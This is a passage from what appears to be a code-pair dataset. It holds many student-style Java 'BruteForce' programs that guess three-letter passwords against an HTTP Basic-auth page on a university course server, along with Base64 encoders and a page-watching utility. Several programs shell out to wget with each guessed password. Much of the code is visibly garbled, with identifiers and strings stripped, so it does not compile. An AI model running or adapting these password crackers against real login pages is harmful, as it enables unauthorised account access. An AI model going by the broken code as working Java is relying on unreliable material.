    \      myTime = 0;\n      myPassword = password;\n      filename = new String(\"\
    /SEC/2/\");\n      myMaster = 0;\n      n = num;\n      dif = 0;\n      \n   }\n\
    \   public  getDif()\n   {\n      return dif;\n   }\n   public int getStatus()\n\
    \   {\n      return status;\n   }\n   public void run() \n   {\n      String inputLine;\n\
    \      String[] tokens = new String[5];\n      int i;\n       myTime = 0;\n  \
    \     finish = 0;\n      start = System.currentTimeMillis();\n      try\n    \
    \  {\n         s = new Socket( hostname, port);\n      }catch( UnknownHostException\
    \ e)\n      {\n         System.out.println(\"'t find host\");\n      }catch( IOException\
    \ e)\n       {\n          System.out.println(\"Error connecting  host \"+n);\n\
    \t  return;\n       }\n      while(s.isConnected() == false)\n         continue;\n\
    \      \n      finish = System.currentTimeMillis();\n      dif = finish - start;\n\
    \      \n      try\n      {\n        sin  = s.getInputStream();\n      }catch(\
    \ IOException e)\n       {\n          System.out.println(\"'t open stream\");\n\
    \       }\n      BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
    \ ));\n      try\n      {\n         sout = s.getOutputStream();\n      }catch(\
    \ IOException e)\n       {\n          System.out.println(\"'t open stream\");\n\
    \       }\n      \n      PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
    \ sout));\n      toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
    \  \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n      toServer.flush();\n\
    \      \n      try\n      {\n         inputLine = fromServer.readLine();\n   \
    \   }catch( IOException e)\n       {\n          System.out.println(\"'t open stream\"\
    );\n\t  inputLine = null;\n       }\n      \n      java.util.StringTokenizer \
    \ = new java.util.StringTokenizer( inputLine, \" \");\n      i = 0;\n      while(sin.hasMoreTokens())\n\
    \      {\n         tokens[i] = sin.nextToken();\n\t i++;\n      }\n      status\
    \ = Integer.parseInt( tokens[1]);\n      myTime = System.currentTimeMillis();\n\
    \      if( status == 200)\n      {\n         System.out.println(\"Ok \"+myPassword);\n\
    \t myMaster.retire( this);\n      }\n     \n      toServer.send();\n      try\n\
    \      {\n         fromServer.receive();\n      }catch( IOException e)\n     \
    \  {\n          System.out.println(\"'t open stream\");\n       }\n      try\n\
    \      {\n         s.connect();\n      }catch( IOException e)\n       {\n    \
    \      System.out.println(\"'t  connection\");\n\t  System.exit(0);\n       }\n\
    \   }\n   public  getTime()\n   {\n      return myTime;\n   }\n  \n}\n"
  - "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\
    \ static String password=\"   \"; \n\n   \n  public static void main(String[]\
    \ args) {\n\t   String Result=\"\"; \n\t  if (args.length<1)\n\t\t\t {\n\t\t\t\
    \   System.out.println(\"Error:  Correct Format Filename, username e.g<>\"); \n\
    \t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\
    \t\t\t  Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
    \ \n\t\t\t  System.out.println(\"The Password of   \"+args[0]+\"is..\"+Result);\
    \  \n\t\t\t  \n\t\t  }\n\n\n\n private String Password(String urlString,String\
    \ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis();  \n  for\
    \ ( char ch = 'A';  ch <= 'z';  ch++ )\n  { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\
    \t\t\t\t\t\t { \n\t\t\t\t\t\t   ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\
    for ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )\n\t\t\t\t { \n\t\t\t\t\t  \n\t\t\t\
    \t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t   ch1='a'; \n\t\t\
    \t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )\n\t\t\t\
    \t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\
    \   ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\
    \t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t           \tSystem.out.print(\"\
    \\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\
    \t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\
    \ userPassword=username+\":\"+password;  \n\n       \n\t\t   String encoding =\
    \ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\
    \ conc= url.openConnection();  \n\t\t\t\t\t   conc.setRequestProperty  (\"Authorization\"\
    , \" \" + encoding);\t\t\t   \n\t\t\t\t\t   conc.connect();  \n\t\t\t\t\t\tcnt++;\n\
    \t\t\t\t\t   if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\
    \ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis();  \n\t\
    \t\t\t\t\t\t net=t1-t0;                                    \n\t\t\t\t\t\t\tSystem.out.println(\"\
    The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\
    \ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password;  \n\t\t\t\t\t\t\
    }\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t      \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\
    \t  e.printStackTrace();   \n\n\t\t\t\t}\n\n\t\t\t\n\t\t     \n\t\t  \n\t\t  }\n\
    \t\t  \n\n\n\n         \n                         \n\t    }  \n        \n  \n\t\
    } \n        return \"Password could not  found\";  \n\n }\n\n\n}"
- source_sentence: "package java.httputils;\n\nimport java.io.IOException;\nimport\
    \ java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class\
    \ RunnableBruteForce extends BruteForce implements Runnable\n{\n    protected\
    \ int rangeStart, rangeEnd;\n    protected boolean stop = false;\n    \n    public\
    \ RunnableBruteForce()\n    {\n        super();\n    }\n\n    \n    public void\
    \ run()\n    {\n        process();\n    }\n\n    public static void main(String[]\
    \ args)\n    {\n    }\n    \n    public int getRangeEnd()\n    {\n        return\
    \ rangeEnd;\n    }\n\n    \n    public int getRangeStart()\n    {\n        return\
    \ rangeStart;\n    }\n\n    \n    public void setRangeEnd(int i)\n    {\n    \
    \    rangeEnd = i;\n    }\n\n    \n    public void setRangeStart(int i)\n    {\n\
    \        rangeStart = i;\n    }\n\n    \n    public boolean isStop()\n    {\n\
    \        return stop;\n    }\n\n    \n    public void setStop(boolean b)\n   \
    \ {\n        stop = b;\n    }\n\n    public void process()\n    {\n        String\
    \ password = \"\";\n        \n        System.out.println(Thread.currentThread().getName()\
    \ +\n                            \"->  workload: \" +\n                      \
    \      this.letters[getRangeStart()] + \"  \" +\n                            this.letters[getRangeEnd()\
    \ - 1]);\n        setStart(new Timestamp(System.currentTimeMillis()));\n\n   \
    \     for (int i = getRangeStart();\n            i < getRangeEnd();\n        \
    \    i++)\n        {\n            System.out.println(Thread.currentThread().getName()\
    \ +\n                    \"-> Trying words beginning with: \" +\n            \
    \        letters[i]);\n            for (int i2 = 0;\n                i2 < letters.length;\n\
    \                i2++)\n            {\n                for (int i3 = 0;\n    \
    \                i3 < letters.length;\n                    i3++)\n           \
    \     {\n                    if (isStop())\n                    {\n          \
    \              return;\n                    }\n                    try\n     \
    \               {\n                        char [] arr = new char [] {letters[i],\
    \ letters[i2], letters[i3]};\n                        String pwd = new String(arr);\n\
    \                        \n                        if (Thread.currentThread().getName().equals(\"\
    Thread-1\") && pwd.equals(\"bad\"))\n                        {\n             \
    \               System.out.println(Thread.currentThread().getName() +\n      \
    \                             \"-> Trying password: \" +\n                   \
    \                 pwd);\n                        }\n                        attempts++;\n\
    \n                        BasicAuthHttpRequest req =\n                       \
    \     new BasicAuthHttpRequest(\n                                getURL(),\n \
    \                               getUserName(),\n                             \
    \   pwd);\n                        System.out.println(\"Got the password\");\n\
    \                        setPassword(pwd);\n                        setEnd(new\
    \ Timestamp(System.currentTimeMillis()));\n                        setContent(req.getContent().toString());\n\
    \n                        \n                        this.setChanged();\n     \
    \                   this.notifyObservers(this.getContent());\n               \
    \         return;\n                    }\n                    catch (MalformedURLException\
    \ e)\n                    {\n                        e.printStackTrace();\n  \
    \                      return;\n                    }\n                    catch\
    \ (IOException e)\n                    {\n\n                    }\n          \
    \      }\n            }\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\
    \    }\n\n}\n"
  sentences:
  - "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\
    \    char[] out = new char[((data.length + 2) / 3) * 4];\n\n    \n    \n    \n\
    \    \n    for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n        boolean\
    \ quad = false;\n        boolean trip = false;\n\n        int bat = (0xFF & (int)\
    \ data[i]);\n        bat <<= 8;\n        if ((i+1) < data.length) {\n        \
    \    bat |= (0xFF & (int) data[i+1]);\n            trip = true;\n        }\n \
    \       bat <<= 8;\n        if ((i+2) < data.length) {\n           bat  |= (0xFF\
    \ & (int) data[i+2]);\n            quad = true;\n        }\n        out[index+3]\
    \ = alphabet[(quad? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+2]\
    \ = alphabet[(trip? ( bat & 0x3F): 64)];\n        bat >>= 6;\n        out[index+1]\
    \ = alphabet[bat & 0x3F];\n        bat >>= 6;\n        out[index+0] = alphabet[\
    \ bat & 0x3F];\n    }\n    return out;\n}\n\n  \nstatic public byte[] decode(char[]\
    \ data)\n{\n    \n    \n    \n    \n    \n    \n\n    int tempLen = data.length;\n\
    \    for( int ix=0; ix<data.length; ix++ )\n    {\n        if( (data[ix] > 255)\
    \ || codes[ data[ix] ] < 0 )\n            --tempLen;  \n    }\n    \n    \n  \
    \  \n    \n\n    int len = (tempLen / 4) * 3;\n    if ((tempLen % 4) == 3) len\
    \ += 2;\n    if ((tempLen % 4) == 2) len += 1;\n\n    byte[] out = new byte[len];\n\
    \n\n\n    int shift = 0;   \n    int accum = 0;   \n    int index = 0;\n\n   \
    \ \n    for (int ix=0; ix<data.length; ix++)\n    {\n        int value = (data[ix]>255)?\
    \ -1: codes[ data[ix] ];\n\n        if ( value >= 0 )           \n        {\n\
    \            accum <<= 6;            \n            shift += 6;             \n\
    \            accum |= value;         \n            if ( shift >= 8 )       \n\
    \            {\n                shift -= 8;         \n                out[index++]\
    \ =      \n                    (byte) ((accum >> shift) & 0xff);\n           \
    \ }\n        }\n        \n        \n        \n        \n        \n        \n \
    \   }\n\n    \n    if( index != out.length)\n    {\n        throw new Error(\"\
    Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\
    \ \")\");\n    }\n\n    return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\
    \ =\n    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\
    \n        .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\
    static {\n    for (int i=0; i<256; i++) codes[i] = -1;\n    for (int i = 'A';\
    \ i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');\n    for (int i = 'a'; i <=\
    \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n    for (int i = '0'; i <= '9';\
    \ i++) codes[i] = (byte)(52 + i - '0');\n    codes['+'] = 62;\n    codes['/']\
    \ = 63;\n}\n}"
  - "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\
    import java.awt.*;\nimport java.awt.event.*;\n\npublic class WatchDog\n{\n   public\
    \ static void main (String args[])\n   {\n      String url = \"http://yallara.cs.rmit.edu./~\"\
    ;\n      String file1 = \"test1.txt\";\n      int flag = 0;\n\n      \n      WriteFile\
    \ write = new WriteFile(url, file1, flag);\n\n      \n      \n      new DoSleep().print();\n\
    \   }\n}\n\nclass DoSleep extends Thread\n{\n   public synchronized void run()\n\
    \   {\n      String url = \"http://yallara.cs.rmit.edu./~\";\n      String file2\
    \ = \"test2.txt\";\n      int flag = 1;\n      int status = 0;\n      String file1\
    \ = \"test1.txt\";\n\n      System.out.println(\"Checking.........\");\n     \
    \ try\n      {\n         \n         \n         \n         sleep();\n\n       \
    \  \n         \n         WriteFile write = new WriteFile(url, file2, flag);\n\n\
    \         status = write.getStatus();\n         \n\n          if(status != 0)\n\
    \          {\n             int flag2 = 0;\n             \n             \n    \
    \         WriteFile write2 = new WriteFile(url, file1, flag2);\n          }\n\
    \          \n          new DoSleep().print();\n      }\n      catch (InterruptedException\
    \ e) {}\n   }\n}\n\n\n"
  - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\
    \ class BruteForce\n{\n\n\tpublic static void main(String[] args)    \n\t{\n \
    \         Runtime rt = Runtime.getRuntime();\n\t  Process pr= null;\n        \
    \  char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
    \t  String pass;\n          char temp[] = {'a','a'};\n          char temp1[] =\
    \ {'a','a','a'};\n          char temp2[] = {'a'};\n\n\t  String f= new String();\n\
    \          String resp = new String();\n          int count=0;\n          String\
    \ success = new String();\n          InputStreamReader  instre;\n          BufferedReader\
    \ bufread;\n\n\n               for(int k=0;k<52;k++)\n                {\n    \
    \             temp2[0]=chars[k];\n                 pass = new String(temp2); \
    \             \n                 count++;              \n\n        System.out.println(\"\
    The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n      \
    \    \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                }\n\n\n\n  \n            for(int j=0;j<52;j++)\n     \
    \         {\n                for(int k=0;k<52;k++)\n                {\n      \
    \           temp[0]=chars[j];\n                 temp[1]=chars[k];\n\n        \
    \         pass = new String();              \n                 count++;      \
    \        \n\n                 System.out.println(\"The password  tried is------->\"\
    +pass+\"---and attempt is==\"+count);\n          \n                f =\"wget --http-user=\
    \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\
    \                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                 }\n               }\n\n\n     \n         for(int i=0;i<52;i++)\n\
    \            for(int j=0;j<52;j++)\n               for(int k=0;k<52;k++)\n   \
    \             {\n                 temp1[0]=chars[i];\n                 temp1[1]=chars[j];\n\
    \                 temp1[2]=chars[k];\n                 pass = new String(temp1);\
    \              \n                 count++;              \n\n        System.out.println(\"\
    The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n      \
    \    \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\
    \n                    instre = new InputStreamReader(pr.getErrorStream());\n \
    \                                \n                  \n                    bufread\
    \ = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n\
    \                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n \
    \                         if(resp.equals(\"HTTP request sent, awaiting response...\
    \ 200 OK\"))\n                             {\n                              System.out.println(\"\
    Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\
    +count);\n                              System.exit(0);\n                    \
    \         }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException\
    \ e){}\n                }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
- source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\n\
    import java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener\
    \ {\n\tprivate TextField tf = new TextField();\n    private TextArea  ta = new\
    \ TextArea();\n\n  \tpublic void actionPerformed (ActionEvent e) {\n\t\tString\
    \ s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t\
    {\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0;\
    \ i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\
    \t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\
    \t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t    ta.setText (fetchURL\
    \ (s,login));\n\t\t    System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"\
    Invalid URL\")!=0 || ta.getText().compareTo(\"Error  URL\")!=0);\n\n\t\tSystem.out.println(\"\
    The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\"\
    );\n\n\t    \n\t    add (tf, BorderLayout.LEFT);\n\t    ta.setEditable(false);\n\
    \t    add (ta, BorderLayout.CENTER);\n\t    tf.addActionListener (this);\n\n\t\
    \    addWindowListener (new WindowAdapter() {\n\t       public void windowClosing\
    \ (WindowEvent e) {\n\t         dispose();\n\t         System.exit(0);\n\t   \
    \    }\n\t     });\n\t}\n\n\tprivate String fetchURL (String urlString,String\
    \ login) {\n\t\tStringWriter sw = new StringWriter();\n\t    PrintWriter  pw =\
    \ new PrintWriter();\n\n\t    try {\n\t       URL url = new URL (urlString);\n\
    \n\t     \n\t\n\t       \n\n\t      \n\t       String encoding = new url.misc.BASE64Encoder().encode\
    \ (login.getBytes());\n\n\t      \n\t       URLConnection uc = url.openConnection();\n\
    \t       uc.setRequestProperty  (\"Authorization\", \" \" + encoding);\n\t   \
    \    InputStream content = (InputStream)uc.getInputStream();\n\t       BufferedReader\
    \ in   =\n\t         new BufferedReader (new InputStreamReader (content));\n\t\
    \       String line;\n\t       while ((line = in.readLine()) != null) {\n\t  \
    \       pw.println (line);\n\t       }\n\t     } catch (MalformedURLException\
    \ e) {\n\t       pw.println (\"Invalid URL\");\n\t     } catch (IOException e)\
    \ {\n\t       pw.println (\"Error  URL\");\n\t     }\n\t     return sw.toString();\n\
    \t}\n\n\n\tpublic static void  main(String args[]) {\n\t\tFrame f = new BruteForce();\n\
    \t    f.setSize(300, 300);\n\t    f.setVisible (true);\n\t}\n}\n\n\n\n\nclass\
    \  Base64Converter\n{\n\tpublic static final char [ ]  alphabet = {\n        'A',\
    \ 'B', 'C', 'D', 'E', 'F', 'G', 'H',   \n        'I', 'J', 'K', 'L', 'M', 'N',\
    \ 'O', 'P',   \n        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n        'Y',\
    \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   \n        'g', 'h', 'i', 'j', 'k', 'l',\
    \ 'm', 'n',   \n        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   \n        'w',\
    \ 'x', 'y', 'z', '0', '1', '2', '3',   \n        '4', '5', '6', '7', '8', '9',\
    \ '+', '/' }; \n\n\n     public static String  encode ( String  s )\n     {\n\
    \        return encode ( s.getBytes ( ) );\n     }\n\n     public static String\
    \  encode ( byte [ ]  octetString )\n     {\n        int  bits24;\n        int\
    \  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length\
    \ - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\
    \n       while ( ( i + 3 ) <= octetString.length )\n       {\n          \n   \
    \       bits24  = ( octetString [ i++ ] & 0xFF ) << 16;\n          bits24 |= (\
    \ octetString [ i++ ] & 0xFF ) <<  8;\n          bits24 |= ( octetString [ i++\
    \ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n     \
    \     out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000\
    \ ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6\
    \ = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6\
    \ ];\n          bits6 = ( bits24 & 0x0000003F );\n          out [ outIndex++ ]\
    \ = alphabet [ bits6 ];\n       }\n\n       if ( octetString.length - i == 2 )\n\
    \       {\n          \n          bits24  = ( octetString [ i     ] & 0xFF ) <<\
    \ 16;\n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;\n\n       \
    \   bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet\
    \ [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out\
    \ [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0\
    \ ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n         \n \
    \         out [ outIndex++ ] = '=';\n        }\n        else if ( octetString.length\
    \ - i == 1 )\n        {\n          \n          bits24 = ( octetString [ i ] &\
    \ 0xFF ) << 16;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n        \
    \  out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000\
    \ ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n          \n\
    \          out [ outIndex++ ] = '=';\n          out [ outIndex++ ] = '=';\n  \
    \      }\n\n       return new String ( out );\n     }\n}\n\n"
  sentences:
  - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\
    \npublic class BruteForce extends Thread\n{\n   private static final String USERNAME\
    \ = \"\";\n   private static final char [] POSSIBLE_CHAR =\n        {'a', 'b',\
    \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n         'n', 'o', 'p',\
    \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n         'A', 'B', 'C', 'D',\
    \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n         'N', 'O', 'P', 'Q', 'R',\
    \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private static int NUMBER_OF_THREAD\
    \ = 500;\n\n   private static Date startDate = null;\n   private static Date endDate\
    \ = null;\n\n   private String address;\n   private String password;\n\n   public\
    \ BruteForce(String address, String password)\n   {\n      this.address = address;\n\
    \      this.password = password;\n   }\n\n   public static void main(String[]\
    \ args) throws IOException\n   {\n      if (args.length < 1)\n      {\n      \
    \   System.err.println(\"Invalid usage!\");\n         System.err.println(\"Usage:\
    \ java BruteForce <url>\");\n         System.exit(1);\n      }\n\n      try\n\
    \      {\n         brute(args[0], USERNAME);\n      }\n      catch(Exception e)\n\
    \      {\n         e.printStackTrace();\n         System.exit(1);\n      }\n \
    \  }\n\n   public static void brute(String address, String user)\n   {\n     \
    \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n      int index =\
    \ 0;\n\n      startDate = new Date();\n      for(int i = 0; i < POSSIBLE_CHAR.length;\
    \ i++)\n      {\n         for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n    \
    \     {\n            for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n         \
    \   {\n               String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\
    \                                 POSSIBLE_CHAR[k];\n\n               if (threads[index]\
    \ != null && threads[index].isAlive())\n               {\n                  try\n\
    \                  {\n                     threads[index].join();\n          \
    \        }\n                  catch(InterruptedException e ) {}\n            \
    \   }\n               threads[index] = new BruteForce(address, password);\n  \
    \             threads[index].get();\n\n               index = (index++) % threads.length;\n\
    \            }\n         }\n      }\n   }\n\n   public void run()\n   {\n    \
    \  if (endDate != null)\n         return;\n\n      try\n      {\n\n         URLConnection\
    \ conn = (new URL(address)).openConnection();\n         conn.setDoInput(true);\n\
    \n         if (login(conn, USERNAME, password))\n         {\n            endDate\
    \ = new Date();\n            System.out.println(\"Found the password: \\\"\"+password+\"\
    \\\"!\");\n            SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\
    \ HH:mm:\");\n            System.out.println(\"Process started at: \"+format.format(startDate));\n\
    \            System.out.println(\"Process started at: \"+format.format(endDate));\n\
    \            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\
    \            System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n  \
    \          System.exit(0);\n         }\n         else\n         {\n          \
    \  System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n       \
    \     return;\n         }\n      }\n      catch(Exception e)\n      {\n      \
    \   e.printStackTrace();\n      }\n\n   }\n\n   public static boolean login(URLConnection\
    \ conn, String user, String pass)\n   {\n      try\n      {\n         String encodeAuth\
    \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n         conn.setRequestProperty\
    \ (\"Authorization\", encodeAuth);\n         conn.connect();\n         conn.getInputStream();\n\
    \      }\n      catch(Exception e)\n      {\n         return false;\n      }\n\
    \      return true;\n   }\n}\n\n\n"
  - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n\
    \   private final static char base64Array [] = {\n          'A', 'B', 'C', 'D',\
    \ 'E', 'F', 'G', 'H',\n          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n   \
    \       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n          'Y', 'Z', 'a', 'b',\
    \ 'c', 'd', 'e', 'f',\n          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n   \
    \       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n          'w', 'x', 'y', 'z',\
    \ '0', '1', '2', '3',\n          '4', '5', '6', '7', '8', '9', '+', '/'\n    \
    \ };\n\n   public static String encode (String string)\n   {\n      String encodedString\
    \ = \"\";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n     \
    \ int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes\
    \ [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n\
    \         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n\
    \         }\n         else\n         {\n            b2 = bytes [i++];\n      \
    \      if (i >= bytes.length)\n            {\n               b3 = 0;\n       \
    \        pad = 1;\n            }\n            else\n               b3 = bytes\
    \ [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2\
    \ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf)\
    \ << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString\
    \ += base64Array [c1];\n         encodedString += base64Array [c2];\n        \
    \ switch (pad)\n         {\n            case 0:\n               encodedString\
    \ += base64Array [c3];\n               encodedString += base64Array [c4];\n  \
    \             break;\n            case 1:\n               encodedString += base64Array\
    \ [c3];\n               encodedString += \"=\";\n               break;\n     \
    \       case 2:\n               encodedString += \"==\";\n               break;\n\
    \         }\n      }\n      return encodedString;\n   }\n}\n"
  - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
    \ = 0;\n  int l = 65;int m = 65;int n = 65;\n   URLConnection conn = null;\n\n\
    \   public static void  main(String args[]){\n     \n\tBruteforce a = new Bruteforce();\n\
    \        a.attack(args);\n     }\n\n   public void attack(String args[]) {\n \
    \  try {\n\n       String login = new String(\"\");\n       String url = new String(\"\
    http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n       String passwd = new\
    \ String();\n\n\t passwd = getPasswd();\n         BufferedReader in = new BufferedReader(\
    \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
    \       String line;\n       while ((line = in.readLine()) != null) {\n      \
    \     System.out.println(line);\n           }\n           System.out.println(\"\
    Password Cracked Successfully!!!\");\n           System.out.println(\"The passsword\
    \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n       }\n \
    \    catch (IOException e) {\n    \n      String r = new String(e.getMessage());\n\
    \    if ( r != null)\n    {\n     System.out.println(\"Message :\" +r);\n    \
    \ System.out.println(\"Trying again with new password\");\n     Bruteforce a =\
    \ new Bruteforce();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println(\"\
    Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
